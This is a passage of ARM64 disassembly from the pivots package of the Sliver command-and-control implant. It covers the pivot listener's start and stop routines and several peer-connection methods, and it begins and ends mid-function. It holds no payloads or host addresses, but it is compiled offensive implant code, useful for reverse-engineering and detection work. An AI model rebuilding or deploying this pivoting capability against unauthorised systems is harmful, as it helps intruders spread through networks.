    0042c3d8str x1, [x25+8]
    0042c3dcb 0x42c3e0
    0042c3e0
    0042c3e0loc_42c3e0:
    0042c3e0str x0, [x3]
    0042c3e4orr x0, xzr, 1
    0042c3e8strb w0, [sp+95]
    0042c3ecldur x29, [sp-8]
    0042c3f0ldr x30, [sp], 128
    0042c3f4ret x30
    0042c3f8
    0042c3f8loc_42c3f8:
    0042c3f8adrp x2, 0x1de000
    0042c3fcadd x2, x2, 3520
    0042c400bl runtime.panicdottypeE
    0042c404hint
    0042c408
    0042c408loc_42c408:
    0042c408stp x0, x1, [sp+8]
    0042c40cstp x2, x3, [sp+24]
    0042c410mov x3, x30
    0042c414bl runtime.morestack.abi0
    0042c418ldp x0, x1, [sp+8]
    0042c41cldp x2, x3, [sp+24]
    0042c420b 0x42c2e0
    0042c424udf 0
    0042c428udf 0
    0042c42cudf 0
    0042c2e0
    0042c430
    0042c430github.com/bishopfox/sliver/implant/sliver/pivots.(*PivotListener).Start: ; void github.com/bishopfox/sliver/implant/sliver/pivots.(*PivotListener).Start(github.com/bishopfox/sliver/implant/sliver/pivots.PivotListener * p)
    0042c430ldr x16, [x28+16]
    0042c434sub x17, sp, 176
    0042c438subs xzr, x17, x16
    0042c43cb.ls 0x42c838
    0042c440sub x20, sp, 304
    0042c444stp x29, x30, [x20-8]
    0042c448add sp, x20, 0
    0042c44csub x29, sp, 8
    0042c450str x0, [sp+312]
    0042c454b 0x42c458
    0042c458
    0042c458loc_42c458:
    0042c458b 0x42c45c
    0042c45c
    0042c45cloc_42c45c:
    0042c45cstp xzr, xzr, [sp+112]
    0042c460stp xzr, xzr, [sp+96]
    0042c464ldr x1, [sp+312]
    0042c468ldrsb x27, [x1]
    0042c46cldr x2, [x1+8]
    0042c470ldrsb x27, [x2]
    0042c474ldr x0, [x1+16]
    0042c478ldr x1, [x2+24]
    0042c47cblr x1
    0042c480str x0, [sp+112]
    0042c484str x1, [sp+120]
    0042c488str x2, [sp+96]
    0042c48cstr x3, [sp+104]
    0042c490ldr x1, [sp+112]
    0042c494ldr x2, [sp+120]
    0042c498str x1, [sp+160]
    0042c49cstr x2, [sp+168]
    0042c4a0ldr x1, [sp+96]
    0042c4a4ldr x2, [sp+104]
    0042c4a8str x1, [sp+144]
    0042c4acstr x2, [sp+152]
    0042c4b0ldr x1, [sp+160]
    0042c4b4ldr x2, [sp+168]
    0042c4b8str x1, [sp+80]
    0042c4bcstr x2, [sp+88]
    0042c4c0ldr x1, [sp+152]
    0042c4c4ldr x2, [sp+144]
    0042c4c8str x2, [sp+64]
    0042c4ccstr x1, [sp+72]
    0042c4d0cbnz x2, 0x42c4d8
    0042c4d4b 0x42c594
    0042c4d8
    0042c4d8loc_42c4d8:
    0042c4d8stp xzr, xzr, [sp+280]
    0042c4dcadd x5, sp, 280
    0042c4e0str x5, [sp+240]
    0042c4e4ldr x5, [sp+64]
    0042c4e8ldr x6, [sp+72]
    0042c4ecstr x5, [sp+224]
    0042c4f0str x6, [sp+232]
    0042c4f4str x5, [sp+216]
    0042c4f8ldr x5, [sp+216]
    0042c4fccbnz x5, 0x42c504
    0042c500b 0x42c514
    0042c504
    0042c504loc_42c504:
    0042c504ldr x5, [sp+216]
    0042c508ldr x5, [x5+8]
    0042c50cstr x5, [sp+216]
    0042c510b 0x42c518
    0042c514
    0042c514loc_42c514:
    0042c514b 0x42c518
    0042c518
    0042c518loc_42c518:
    0042c518ldr x5, [sp+240]
    0042c51cldrsb x27, [x5]
    0042c520ldr x6, [sp+216]
    0042c524ldr x7, [sp+232]
    0042c528str x6, [x5]
    0042c52cadrp x27, 0x61f000
    0042c530ldr w6, [x27+3056]
    0042c534cbz w6, 0x42c53c
    0042c538b 0x42c540
    0042c53c
    0042c53cloc_42c53c:
    0042c53cb 0x42c554
    0042c540
    0042c540loc_42c540:
    0042c540bl runtime.gcWriteBarrier2
    0042c544str x7, [x25]
    0042c548ldr x6, [x5+8]
    0042c54cstr x6, [x25+8]
    0042c550b 0x42c554
    0042c554
    0042c554loc_42c554:
    0042c554str x7, [x5+8]
    0042c558ldr x2, [sp+240]
    0042c55cldrsb x27, [x2]
    0042c560b 0x42c564
    0042c564
    0042c564loc_42c564:
    0042c564str x2, [sp+248]
    0042c568orr x4, xzr, 1
    0042c56cstr x4, [sp+256]
    0042c570str x4, [sp+264]
    0042c574adrp x0, 0x28f000
    0042c578add x0, x0, 2648
    0042c57corr x1, xzr, 28
    0042c580mov x3, x4
    0042c584bl log.Printf
    0042c588ldp x29, x30, [sp-8]
    0042c58cadd sp, sp, 304
    0042c590ret x30
    0042c594
    0042c594loc_42c594:
    0042c594adrp x0, 0x1ca000
    0042c598add x0, x0, 3968
    0042c59cmov x1, xzr
    0042c5a0bl runtime.makechan
    0042c5a4str x0, [sp+272]
    0042c5a8adrp x0, 0x261000
    0042c5acadd x0, x0, 1792
    0042c5b0bl runtime.newobject
    0042c5b4str x0, [sp+208]
    0042c5b8adrp x27, 0x61f000
    0042c5bcldr w2, [x27+3056]
    0042c5c0cbz w2, 0x42c5c8
    0042c5c4b 0x42c5cc
    0042c5c8
    0042c5c8loc_42c5c8:
    0042c5c8b 0x42c5e8
    0042c5cc
    0042c5ccloc_42c5cc:
    0042c5ccstr x0, [sp+176]
    0042c5d0mov x1, x0
    0042c5d4adrp x0, 0x261000
    0042c5d8add x0, x0, 1792
    0042c5dcbl runtime.wbZero
    0042c5e0ldr x0, [sp+176]
    0042c5e4b 0x42c5e8
    0042c5e8
    0042c5e8loc_42c5e8:
    0042c5e8mov x20, x0
    0042c5ecadr x27, 16
    0042c5f0stp x29, x27, [sp-24]
    0042c5f4sub x29, sp, 24
    0042c5f8bl fn_87cfc
    0042c5fcsub x29, sp, 8
    0042c600ldr x1, [sp+208]
    0042c604ldrsb x27, [x1]
    0042c608ldr x2, [sp+88]
    0042c60cldr x3, [sp+80]
    0042c610str x3, [x1+8]
    0042c614adrp x27, 0x61f000
    0042c618ldr w3, [x27+3056]
    0042c61ccbz w3, 0x42c624
    0042c620b 0x42c628
    0042c624
    0042c624loc_42c624:
    0042c624b 0x42c63c
    0042c628
    0042c628loc_42c628:
    0042c628bl runtime.gcWriteBarrier2
    0042c62cstr x2, [x25]
    0042c630ldr x3, [x1+16]
    0042c634str x3, [x25+8]
    0042c638b 0x42c63c
    0042c63c
    0042c63cloc_42c63c:
    0042c63cstr x2, [x1+16]
    0042c640adrp x0, 0x214000
    0042c644add x0, x0, 1184
    0042c648bl runtime.newobject
    0042c64cstr x0, [sp+200]
    0042c650str wzr, [x0]
    0042c654str wzr, [x0+4]
    0042c658ldr x1, [sp+208]
    0042c65cldrsb x27, [x1]
    0042c660ldr x2, [sp+200]
    0042c664adrp x27, 0x61f000
    0042c668ldr w3, [x27+3056]
    0042c66ccbz w3, 0x42c674
    0042c670b 0x42c678
    0042c674
    0042c674loc_42c674:
    0042c674b 0x42c68c
    0042c678
    0042c678loc_42c678:
    0042c678bl runtime.gcWriteBarrier2
    0042c67cstr x2, [x25]
    0042c680ldr x3, [x1+24]
    0042c684str x3, [x25+8]
    0042c688b 0x42c68c
    0042c68c
    0042c68cloc_42c68c:
    0042c68cstr x2, [x1+24]
    0042c690adrp x0, 0x214000
    0042c694add x0, x0, 1184
    0042c698bl runtime.newobject
    0042c69cstr x0, [sp+192]
    0042c6a0str wzr, [x0]
    0042c6a4str wzr, [x0+4]
    0042c6a8ldr x1, [sp+208]
    0042c6acldrsb x27, [x1]
    0042c6b0ldr x2, [sp+192]
    0042c6b4adrp x27, 0x61f000
    0042c6b8ldr w3, [x27+3056]
    0042c6bccbz w3, 0x42c6c4
    0042c6c0b 0x42c6c8
    0042c6c4
    0042c6c4loc_42c6c4:
    0042c6c4b 0x42c6dc
    0042c6c8
    0042c6c8loc_42c6c8:
    0042c6c8bl runtime.gcWriteBarrier2
    0042c6ccstr x2, [x25]
    0042c6d0ldr x3, [x1+32]
    0042c6d4str x3, [x25+8]
    0042c6d8b 0x42c6dc
    0042c6dc
    0042c6dcloc_42c6dc:
    0042c6dcstr x2, [x1+32]
    0042c6e0ldr x1, [sp+208]
    0042c6e4ldrsb x27, [x1]
    0042c6e8adrp x27, 0x594000
    0042c6ecldr x2, [x27+1744]
    0042c6f0str x2, [x1+48]
    0042c6f4ldr x1, [sp+208]
    0042c6f8ldrsb x27, [x1]
    0042c6fcadrp x27, 0x594000
    0042c700ldr x2, [x27+1752]
    0042c704str x2, [x1+56]
    0042c708ldr x1, [sp+208]
    0042c70cldrsb x27, [x1]
    0042c710ldr x2, [sp+312]
    0042c714ldrsb x27, [x2]
    0042c718ldr x2, [x2+48]
    0042c71cadrp x27, 0x61f000
    0042c720ldr w3, [x27+3056]
    0042c724cbz w3, 0x42c72c
    0042c728b 0x42c730
    0042c72c
    0042c72cloc_42c72c:
    0042c72cb 0x42c744
    0042c730
    0042c730loc_42c730:
    0042c730bl runtime.gcWriteBarrier2
    0042c734str x2, [x25]
    0042c738ldr x3, [x1+64]
    0042c73cstr x3, [x25+8]
    0042c740b 0x42c744
    0042c744
    0042c744loc_42c744:
    0042c744str x2, [x1+64]
    0042c748ldr x1, [sp+208]
    0042c74cldrsb x27, [x1]
    0042c750ldr x2, [sp+272]
    0042c754adrp x27, 0x61f000
    0042c758ldr w3, [x27+3056]
    0042c75ccbz w3, 0x42c764
    0042c760b 0x42c768
    0042c764
    0042c764loc_42c764:
    0042c764b 0x42c77c
    0042c768
    0042c768loc_42c768:
    0042c768bl runtime.gcWriteBarrier2
    0042c76cstr x2, [x25]
    0042c770ldr x3, [x1+72]
    0042c774str x3, [x25+8]
    0042c778b 0x42c77c
    0042c77c
    0042c77cloc_42c77c:
    0042c77cstr x2, [x1+72]
    0042c780ldr x1, [sp+208]
    0042c784str x1, [sp+56]
    0042c788str x1, [sp+136]
    0042c78cldr x1, [sp+312]
    0042c790ldrsb x27, [x1]
    0042c794ldr x1, [x1+24]
    0042c798str x1, [sp+128]
    0042c79cadrp x0, 0x21f000
    0042c7a0add x0, x0, 2496
    0042c7a4bl runtime.newobject
    0042c7a8str x0, [sp+184]
    0042c7acadrp x1, 0
    0042c7b0add x1, x1, 2128
    0042c7b4str x1, [x0]
    0042c7b8ldr x1, [sp+136]
    0042c7bcldr x2, [sp+184]
    0042c7c0ldrsb x27, [x2]
    0042c7c4adrp x27, 0x61f000
    0042c7c8ldr w3, [x27+3056]
    0042c7cccbz w3, 0x42c7d4
    0042c7d0b 0x42c7d8
    0042c7d4
    0042c7d4loc_42c7d4:
    0042c7d4b 0x42c7ec
    0042c7d8
    0042c7d8loc_42c7d8:
    0042c7d8bl runtime.gcWriteBarrier2
    0042c7dcstr x1, [x25]
    0042c7e0ldr x3, [x2+8]
    0042c7e4str x3, [x25+8]
    0042c7e8b 0x42c7ec
    0042c7ec
    0042c7ecloc_42c7ec:
    0042c7ecstr x1, [x2+8]
    0042c7f0ldr x1, [sp+128]
    0042c7f4ldr x2, [sp+184]
    0042c7f8ldrsb x27, [x2]
    0042c7fcadrp x27, 0x61f000
    0042c800ldr w3, [x27+3056]
    0042c804cbz w3, 0x42c80c
    0042c808b 0x42c810
    0042c80c
    0042c80cloc_42c80c:
    0042c80cb 0x42c824
    0042c810
    0042c810loc_42c810:
    0042c810bl runtime.gcWriteBarrier2
    0042c814str x1, [x25]
    0042c818ldr x3, [x2+16]
    0042c81cstr x3, [x25+8]
    0042c820b 0x42c824
    0042c824
    0042c824loc_42c824:
    0042c824str x1, [x2+16]
    0042c828ldr x0, [sp+184]
    0042c82cbl runtime.newproc
    0042c830b 0x42c834
    0042c834
    0042c834loc_42c834:
    0042c834b 0x42c458
    0042c838
    0042c838loc_42c838:
    0042c838str x0, [sp+8]
    0042c83cmov x3, x30
    0042c840bl runtime.morestack_noctxt.abi0
    0042c844ldr x0, [sp+8]
    0042c848b 0x42c430
    0042c84cudf 0
    0042c430
    0042c850
    0042c850github.com/bishopfox/sliver/implant/sliver/pivots.(*PivotListener).Start.gowrap1: ; void github.com/bishopfox/sliver/implant/sliver/pivots.(*PivotListener).Start.gowrap1(void)
    0042c850ldr x16, [x28+16]
    0042c854subs xzr, sp, x16
    0042c858b.ls 0x42c894
    0042c85cstr x30, [sp-48]!
    0042c860stur x29, [sp-8]
    0042c864sub x29, sp, 8
    0042c868ldr x16, [x28+32]
    0042c86ccbnz x16, 0x42c8a0
    0042c870
    0042c870loc_42c870:
    0042c870ldr x2, [x26+8]
    0042c874str x2, [sp+32]
    0042c878ldr x1, [x26+16]
    0042c87cstr x1, [sp+24]
    0042c880ldr x0, [sp+32]
    0042c884bl github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).Start
    0042c888ldur x29, [sp-8]
    0042c88cldr x30, [sp], 48
    0042c890ret x30
    0042c894
    0042c894loc_42c894:
    0042c894mov x3, x30
    0042c898bl runtime.morestack.abi0
    0042c89cb 0x42c850
    0042c8a0
    0042c8a0loc_42c8a0:
    0042c8a0ldr x17, [x16]
    0042c8a4add x20, sp, 56
    0042c8a8subs xzr, x20, x17
    0042c8acb.ne 0x42c870
    0042c8b0add x20, sp, 8
    0042c8b4str x20, [x16]
    0042c8b8b 0x42c870
    0042c8bcudf 0
    0042c850
    0042c8c0
    0042c8c0github.com/bishopfox/sliver/implant/sliver/pivots.(*PivotListener).Stop: ; void github.com/bishopfox/sliver/implant/sliver/pivots.(*PivotListener).Stop(github.com/bishopfox/sliver/implant/sliver/pivots.PivotListener * l)
    0042c8c0ldr x16, [x28+16]
    0042c8c4sub x17, sp, 160
    0042c8c8subs xzr, x17, x16
    0042c8ccb.ls 0x42cb24
    0042c8d0sub x20, sp, 288
    0042c8d4stp x29, x30, [x20-8]
    0042c8d8add sp, x20, 0
    0042c8dcsub x29, sp, 8
    0042c8e0str x0, [sp+296]
    0042c8e4ldrsb x27, [x0]
    0042c8e8ldr x1, [x0+8]
    0042c8ecldrsb x27, [x1]
    0042c8f0ldr x0, [x0+16]
    0042c8f4ldr x1, [x1+40]
    0042c8f8blr x1
    0042c8fcadd x1, sp, 80
    0042c900str x1, [sp+248]
    0042c904ldrsb x27, [x1]
    0042c908b 0x42c90c
    0042c90c
    0042c90cloc_42c90c:
    0042c90cstr x1, [sp+256]
    0042c910stp xzr, xzr, [sp+264]
    0042c914str x1, [sp+104]
    0042c918stp xzr, xzr, [sp+112]
    0042c91cstp xzr, xzr, [sp+168]
    0042c920add x2, sp, 168
    0042c924str x2, [sp+240]
    0042c928ldrsb x27, [x2]
    0042c92cadrp x3, 0
    0042c930add x3, x3, 2880
    0042c934str x3, [x2]
    0042c938ldrsb x27, [x2]
    0042c93cadrp x27, 0x61f000
    0042c940ldr w3, [x27+3056]
    0042c944cbz w3, 0x42c94c
    0042c948b 0x42c950
    0042c94c
    0042c94cloc_42c94c:
    0042c94cb 0x42c968
    0042c950
    0042c950loc_42c950:
    0042c950bl runtime.gcWriteBarrier2
    0042c954add x3, sp, 104
    0042c958str x3, [x25]
    0042c95cldr x4, [x2+8]
    0042c960str x4, [x25+8]
    0042c964b 0x42c968
    0042c968
    0042c968loc_42c968:
    0042c968add x3, sp, 104
    0042c96cstr x3, [x2+8]
    0042c970ldr x2, [sp+296]
    0042c974ldrsb x27, [x2]
    0042c978ldr x0, [x2+24]
    0042c97cstr x0, [sp+232]
    0042c980ldr x1, [sp+240]
    0042c984bl sync.(*Map).Range
    0042c988ldr x2, [sp+112]
    0042c98cldr x3, [sp+104]
    0042c990ldr x4, [sp+120]
    0042c994str x3, [sp+144]
    0042c998str x2, [sp+152]
    0042c99cstr x4, [sp+160]
    0042c9a0str xzr, [sp+72]
    0042c9a4str x2, [sp+64]
    0042c9a8b 0x42c9ac
    0042c9ac
    0042c9acloc_42c9ac:
    0042c9acldr x3, [sp+64]
    0042c9b0ldr x4, [sp+72]
    0042c9b4subs xzr, x3, x4
    0042c9b8b.gt 0x42c9c0
    0042c9bcb 0x42ca84
    0042c9c0
    0042c9c0loc_42c9c0:
    0042c9c0ldr x3, [sp+72]
    0042c9c4ldr x4, [sp+144]
    0042c9c8ldr x3, [x4+3*x3]
    0042c9ccstr x3, [sp+48]
    0042c9d0stp xzr, xzr, [sp+128]
    0042c9d4ldr x3, [sp+48]
    0042c9d8str x3, [sp+56]
    0042c9dcldr x3, [sp+296]
    0042c9e0ldrsb x27, [x3]
    0042c9e4ldr x0, [x3+24]
    0042c9e8str x0, [sp+224]
    0042c9ecadrp x1, 0x1c9000
    0042c9f0add x1, x1, 3392
    0042c9f4add x2, sp, 56
    0042c9f8bl sync.(*Map).LoadAndDelete
    0042c9fcstr x0, [sp+128]
    0042ca00str x1, [sp+136]
    0042ca04strb w2, [sp+47]
    0042ca08ldr x3, [sp+128]
    0042ca0cldr x4, [sp+136]
    0042ca10str x3, [sp+184]
    0042ca14str x4, [sp+192]
    0042ca18ldrb w3, [sp+47]
    0042ca1cstrb w3, [sp+46]
    0042ca20ldr x3, [sp+184]
    0042ca24ldr x4, [sp+192]
    0042ca28str x3, [sp+88]
    0042ca2cstr x4, [sp+96]
    0042ca30ldrb w3, [sp+46]
    0042ca34strb w3, [sp+45]
    0042ca38tbnz w3, 0, 0x42ca40
    0042ca3cb 0x42ca6c
    0042ca40
    0042ca40loc_42ca40:
    0042ca40ldr x0, [sp+88]
    0042ca44ldr x3, [sp+96]
    0042ca48adrp x1, 0x254000
    0042ca4cadd x1, x1, 2080
    0042ca50subs xzr, x0, x1
    0042ca54b.eq 0x42ca5c
    0042ca58b 0x42cb14
    0042ca5c
    0042ca5cloc_42ca5c:
    0042ca5cstr x3, [sp+216]
    0042ca60mov x0, x3
    0042ca64bl github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).Close
    0042ca68b 0x42ca70
    0042ca6c
    0042ca6cloc_42ca6c:
    0042ca6cb 0x42ca70
    0042ca70
    0042ca70loc_42ca70:
    0042ca70b 0x42ca74
    0042ca74
    0042ca74loc_42ca74:
    0042ca74ldr x3, [sp+72]
    0042ca78add x3, x3, 1
    0042ca7cstr x3, [sp+72]
    0042ca80b 0x42c9ac
    0042ca84
    0042ca84loc_42ca84:
    0042ca84adrp x0, 0x214000
    0042ca88add x0, x0, 2144
    0042ca8cbl runtime.newobject
    0042ca90str x0, [sp+208]
    0042ca94adrp x27, 0x61f000
    0042ca98ldr w1, [x27+3056]
    0042ca9ccbz w1, 0x42caa4
    0042caa0b 0x42caa8
    0042caa4
    0042caa4loc_42caa4:
    0042caa4b 0x42cac4
    0042caa8
    0042caa8loc_42caa8:
    0042caa8str x0, [sp+200]
    0042caacmov x1, x0
    0042cab0adrp x0, 0x214000
    0042cab4add x0, x0, 2144
    0042cab8bl runtime.wbZero
    0042cabcldr x0, [sp+200]
    0042cac0b 0x42cac4
    0042cac4
    0042cac4loc_42cac4:
    0042cac4stp xzr, xzr, [x0]
    0042cac8stp xzr, xzr, [x0+16]
    0042caccstp xzr, xzr, [x0+32]
    0042cad0ldr x0, [sp+296]
    0042cad4ldrsb x27, [x0]
    0042cad8ldr x1, [sp+208]
    0042cadcadrp x27, 0x61f000
    0042cae0ldr w2, [x27+3056]
    0042cae4cbz w2, 0x42caec
    0042cae8b 0x42caf0
    0042caec
    0042caecloc_42caec:
    0042caecb 0x42cb04
    0042caf0
    0042caf0loc_42caf0:
    0042caf0bl runtime.gcWriteBarrier2
    0042caf4str x1, [x25]
    0042caf8ldr x2, [x0+24]
    0042cafcstr x2, [x25+8]
    0042cb00b 0x42cb04
    0042cb04
    0042cb04loc_42cb04:
    0042cb04str x1, [x0+24]
    0042cb08ldp x29, x30, [sp-8]
    0042cb0cadd sp, sp, 288
    0042cb10ret x30
    0042cb14
    0042cb14loc_42cb14:
    0042cb14adrp x2, 0x1de000
    0042cb18add x2, x2, 3520
    0042cb1cbl runtime.panicdottypeE
    0042cb20hint
    0042cb24
    0042cb24loc_42cb24:
    0042cb24str x0, [sp+8]
    0042cb28mov x3, x30
    0042cb2cbl runtime.morestack_noctxt.abi0
    0042cb30ldr x0, [sp+8]
    0042cb34b 0x42c8c0
    0042cb38udf 0
    0042cb3cudf 0
    0042c8c0
    0042cb40
    0042cb40github.com/bishopfox/sliver/implant/sliver/pivots.(*PivotListener).Stop.func1: ; void github.com/bishopfox/sliver/implant/sliver/pivots.(*PivotListener).Stop.func1(interface {} key, interface {} value)
    0042cb40ldr x16, [x28+16]
    0042cb44subs xzr, sp, x16
    0042cb48b.ls 0x42cc38
    0042cb4cstr x30, [sp-112]!
    0042cb50stur x29, [sp-8]
    0042cb54sub x29, sp, 8
    0042cb58str x0, [sp+120]
    0042cb5cstr x1, [sp+128]
    0042cb60str x2, [sp+136]
    0042cb64str x3, [sp+144]
    0042cb68ldr x5, [x26+8]
    0042cb6cstr x5, [sp+96]
    0042cb70strb wzr, [sp+87]
    0042cb74str xzr, [sp+88]
    0042cb78ldr x0, [sp+120]
    0042cb7cldr x6, [sp+128]
    0042cb80adrp x1, 0x1c9000
    0042cb84add x1, x1, 3392
    0042cb88subs xzr, x0, x1
    0042cb8cb.eq 0x42cb94
    0042cb90b 0x42cc28
    0042cb94
    0042cb94loc_42cb94:
    0042cb94ldr x6, [x6]
    0042cb98str x6, [sp+88]
    0042cb9cldr x2, [x5+16]
    0042cba0ldr x0, [x5]
    0042cba4ldr x5, [x5+8]
    0042cba8add x1, x5, 1
    0042cbacsubs xzr, x2, x1
    0042cbb0b.hs 0x42cbb8
    0042cbb4b 0x42cbbc
    0042cbb8
    0042cbb8loc_42cbb8:
    0042cbb8b 0x42cbd0
    0042cbbc
    0042cbbcloc_42cbbc:
    0042cbbcorr x3, xzr, 1
    0042cbc0adrp x4, 0x1c9000
    0042cbc4add x4, x4, 3392
    0042cbc8bl runtime.growslice
    0042cbccb 0x42cbd0
    0042cbd0
    0042cbd0loc_42cbd0:
    0042cbd0ldr x3, [sp+88]
    0042cbd4sub x4, x1, 1
    0042cbd8str x3, [x0+3*x4]
    0042cbdcldr x3, [sp+96]
    0042cbe0str x1, [x3+8]
    0042cbe4str x2, [x3+16]
    0042cbe8adrp x27, 0x61f000
    0042cbecldr w1, [x27+3056]
    0042cbf0cbz w1, 0x42cbf8
    0042cbf4b 0x42cbfc
    0042cbf8
    0042cbf8loc_42cbf8:
    0042cbf8b 0x42cc10
    0042cbfc
    0042cbfcloc_42cbfc:
    0042cbfcbl runtime.gcWriteBarrier2
    0042cc00str x0, [x25]
    0042cc04ldr x1, [x3]
    0042cc08str x1, [x25+8]
    0042cc0cb 0x42cc10
    0042cc10
    0042cc10loc_42cc10:
    0042cc10str x0, [x3]
    0042cc14orr x0, xzr, 1
    0042cc18strb w0, [sp+87]
    0042cc1cldur x29, [sp-8]
    0042cc20ldr x30, [sp], 112
    0042cc24ret x30
    0042cc28
    0042cc28loc_42cc28:
    0042cc28adrp x2, 0x1de000
    0042cc2cadd x2, x2, 3520
    0042cc30bl runtime.panicdottypeE
    0042cc34hint
    0042cc38
    0042cc38loc_42cc38:
    0042cc38stp x0, x1, [sp+8]
    0042cc3cstp x2, x3, [sp+24]
    0042cc40mov x3, x30
    0042cc44bl runtime.morestack.abi0
    0042cc48ldp x0, x1, [sp+8]
    0042cc4cldp x2, x3, [sp+24]
    0042cc50b 0x42cb40
    0042cc54udf 0
    0042cc58udf 0
    0042cc5cudf 0
    0042cb40
    0042cc60
    0042cc60github.com/bishopfox/sliver/implant/sliver/pivots.ListenerID: ; void github.com/bishopfox/sliver/implant/sliver/pivots.ListenerID(void)
    0042cc60str x30, [sp-32]!
    0042cc64stur x29, [sp-8]
    0042cc68sub x29, sp, 8
    0042cc6cstr wzr, [sp+20]
    0042cc70adrp x27, 0x61f000
    0042cc74ldr w1, [x27+1680]
    0042cc78add x0, x1, 1
    0042cc7cadrp x27, 0x61f000
    0042cc80str w0, [x27+1680]
    0042cc84str w0, [sp+20]
    0042cc88add x29, sp, 24
    0042cc8cadd sp, sp, 32
    0042cc90ret x30
    0042cc94udf 0
    0042cc98udf 0
    0042cc9cudf 0
    0042cc60
    0042cca0
    0042cca0github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).DownstreamPeerID: ; void github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).DownstreamPeerID(github.com/bishopfox/sliver/implant/sliver/pivots.NetConnPivot * p)
    0042cca0str x30, [sp-32]!
    0042cca4stur x29, [sp-8]
    0042cca8sub x29, sp, 8
    0042ccacstr x0, [sp+40]
    0042ccb0str xzr, [sp+16]
    0042ccb4ldrsb x27, [x0]
    0042ccb8ldr x0, [x0]
    0042ccbcstr x0, [sp+16]
    0042ccc0add x29, sp, 24
    0042ccc4add sp, sp, 32
    0042ccc8ret x30
    0042ccccudf 0
    0042cca0
    0042ccd0
    0042ccd0github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).ToProtobuf: ; void github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).ToProtobuf(github.com/bishopfox/sliver/implant/sliver/pivots.NetConnPivot * p)
    0042ccd0ldr x16, [x28+16]
    0042ccd4subs xzr, sp, x16
    0042ccd8b.ls 0x42cdbc
    0042ccdcstr x30, [sp-80]!
    0042cce0stur x29, [sp-8]
    0042cce4sub x29, sp, 8
    0042cce8str x0, [sp+88]
    0042ccecstr xzr, [sp+32]
    0042ccf0ldr x0, [sp+88]
    0042ccf4bl github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).RemoteAddress
    0042ccf8str x0, [sp+56]
    0042ccfcstr x1, [sp+64]
    0042cd00adrp x0, 0x244000
    0042cd04add x0, x0, 2752
    0042cd08bl runtime.newobject
    0042cd0cstr x0, [sp+48]
    0042cd10adrp x27, 0x61f000
    0042cd14ldr w1, [x27+3056]
    0042cd18cbz w1, 0x42cd20
    0042cd1cb 0x42cd24
    0042cd20
    0042cd20loc_42cd20:
    0042cd20b 0x42cd40
    0042cd24
    0042cd24loc_42cd24:
    0042cd24str x0, [sp+40]
    0042cd28mov x1, x0
    0042cd2cadrp x0, 0x244000
    0042cd30add x0, x0, 2752
    0042cd34bl runtime.wbZero
    0042cd38ldr x0, [sp+40]
    0042cd3cb 0x42cd40
    0042cd40
    0042cd40loc_42cd40:
    0042cd40stp xzr, xzr, [x0]
    0042cd44stp xzr, xzr, [x0+16]
    0042cd48stp xzr, xzr, [x0+32]
    0042cd4cstp xzr, xzr, [x0+48]
    0042cd50ldr x1, [sp+48]
    0042cd54ldrsb x27, [x1]
    0042cd58ldr x2, [sp+88]
    0042cd5cldrsb x27, [x2]
    0042cd60ldr x2, [x2]
    0042cd64str x2, [x1+8]
    0042cd68ldr x1, [sp+48]
    0042cd6cldrsb x27, [x1]
    0042cd70ldr x2, [sp+56]
    0042cd74ldr x3, [sp+64]
    0042cd78str x3, [x1+24]
    0042cd7cadrp x27, 0x61f000
    0042cd80ldr w3, [x27+3056]
    0042cd84cbz w3, 0x42cd8c
    0042cd88b 0x42cd90
    0042cd8c
    0042cd8cloc_42cd8c:
    0042cd8cb 0x42cda4
    0042cd90
    0042cd90loc_42cd90:
    0042cd90bl runtime.gcWriteBarrier2
    0042cd94str x2, [x25]
    0042cd98ldr x3, [x1+16]
    0042cd9cstr x3, [x25+8]
    0042cda0b 0x42cda4
    0042cda4
    0042cda4loc_42cda4:
    0042cda4str x2, [x1+16]
    0042cda8ldr x0, [sp+48]
    0042cdacstr x0, [sp+32]
    0042cdb0ldur x29, [sp-8]
    0042cdb4ldr x30, [sp], 80
    0042cdb8ret x30
    0042cdbc
    0042cdbcloc_42cdbc:
    0042cdbcstr x0, [sp+8]
    0042cdc0mov x3, x30
    0042cdc4bl runtime.morestack_noctxt.abi0
    0042cdc8ldr x0, [sp+8]
    0042cdccb 0x42ccd0
    0042ccd0
    0042cdd0
    0042cdd0github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).Start: ; void github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).Start(github.com/bishopfox/sliver/implant/sliver/pivots.NetConnPivot * p, sync.Map * pivots)
    0042cdd0ldr x16, [x28+16]
    0042cdd4sub x17, sp, 352
    0042cdd8subs xzr, x17, x16
    0042cddcb.ls 0x42d2bc
    0042cde0sub x20, sp, 480
    0042cde4stp x29, x30, [x20-8]
    0042cde8add sp, x20, 0
    0042cdecsub x29, sp, 8
    0042cdf0str x0, [sp+488]
    0042cdf4str x1, [sp+496]
    0042cdf8stp xzr, xzr, [sp+408]
    0042cdfcadd x1, sp, 408
    0042ce00str x1, [sp+424]
    0042ce04ldrsb x27, [x1]
    0042ce08adrp x2, 4096
    0042ce0cadd x2, x2, 2784
    0042ce10str x2, [x1]
    0042ce14ldrsb x27, [x1]
    0042ce18ldr x2, [sp+488]
    0042ce1cadrp x27, 0x61f000
    0042ce20ldr w3, [x27+3056]
    0042ce24cbz w3, 0x42ce2c
    0042ce28b 0x42ce30
    0042ce2c
    0042ce2cloc_42ce2c:
    0042ce2cb 0x42ce44
    0042ce30
    0042ce30loc_42ce30:
    0042ce30bl runtime.gcWriteBarrier2
    0042ce34str x2, [x25]
    0042ce38ldr x3, [x1+8]
    0042ce3cstr x3, [x25+8]
    0042ce40b 0x42ce44
    0042ce44
    0042ce44loc_42ce44:
    0042ce44str x2, [x1+8]
    0042ce48str x1, [sp+136]
    0042ce4cadd x0, sp, 112
    0042ce50bl runtime.deferprocStack
    0042ce54subs xzr, x0, 0
    0042ce58b.ne 0x42d0b8
    0042ce5cb 0x42ce60
    0042ce60
    0042ce60loc_42ce60:
    0042ce60ldr x0, [sp+488]
    0042ce64bl github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).peerKeyExchange
    0042ce68str x0, [sp+192]
    0042ce6cstr x1, [sp+200]
    0042ce70cbnz x0, 0x42ce78
